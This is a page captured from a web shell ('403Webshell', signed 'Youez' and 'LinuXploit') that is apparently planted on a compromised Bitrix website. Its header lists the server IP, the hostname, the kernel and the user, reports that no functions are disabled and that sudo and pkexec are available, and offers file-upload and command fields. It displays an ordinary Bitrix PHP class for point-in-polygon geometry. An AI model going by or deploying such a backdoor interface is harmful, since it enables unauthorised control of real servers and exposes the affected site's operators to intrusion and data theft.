403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/location/lib/geometry/type/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/location/lib/geometry/type/polygon.php
<?php

namespace Bitrix\Location\Geometry\Type;

class Polygon extends Collection
{
	/**
	 * @inherit
	 */
	public function contains(BaseGeometry $geometry): ?bool
	{
		if (!$geometry instanceof Point)
		{
			return null;
		}

		if (!isset($this->components[0]))
		{
			return null;
		}

		/** @var LineString $outerRing */
		$outerRing = $this->components[0];
		if (!$this->isPointInsideClosedRing($outerRing, $geometry))
		{
			return false;
		}

		$innerRings = array_slice($this->components, 1);
		foreach ($innerRings as $innerRing)
		{
			if ($this->isPointInsideClosedRing($innerRing, $geometry))
			{
				return false;
			}
		}

		return true;
	}

	/**
	 * @param LineString $lineString
	 * @param Point $point
	 * @return bool
	 *
	 * @see https://github.com/mjaschen/phpgeo
	 */
	private function isPointInsideClosedRing(LineString $lineString, Point $point): bool
	{
		$polygonContainsPoint = false;

		$componentsCount = $lineString->getComponentsCount();

		$lineStringPoints = $lineString->getComponents();
		$lineStringLats = [];
		$lineStringLngs = [];

		/** @var Point $point */
		foreach ($lineStringPoints as $lineStringPoint)
		{
			$lineStringLats[] = $lineStringPoint->getLat();
			$lineStringLngs[] = $lineStringPoint->getLng();
		}

		for ($node = 0, $altNode = $componentsCount - 1; $node < $componentsCount; $altNode = $node++)
		{
			$condition = ($lineStringLngs[$node] > $point->getLng()) !== ($lineStringLngs[$altNode] > $point->getLng())
				&& ($point->getLat() < ($lineStringLats[$altNode] - $lineStringLats[$node])
					* ($point->getLng() - $lineStringLngs[$node])
					/ ($lineStringLngs[$altNode] - $lineStringLngs[$node]) + $lineStringLats[$node]);

			if ($condition)
			{
				$polygonContainsPoint = !$polygonContainsPoint;
			}
		}

		return $polygonContainsPoint;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit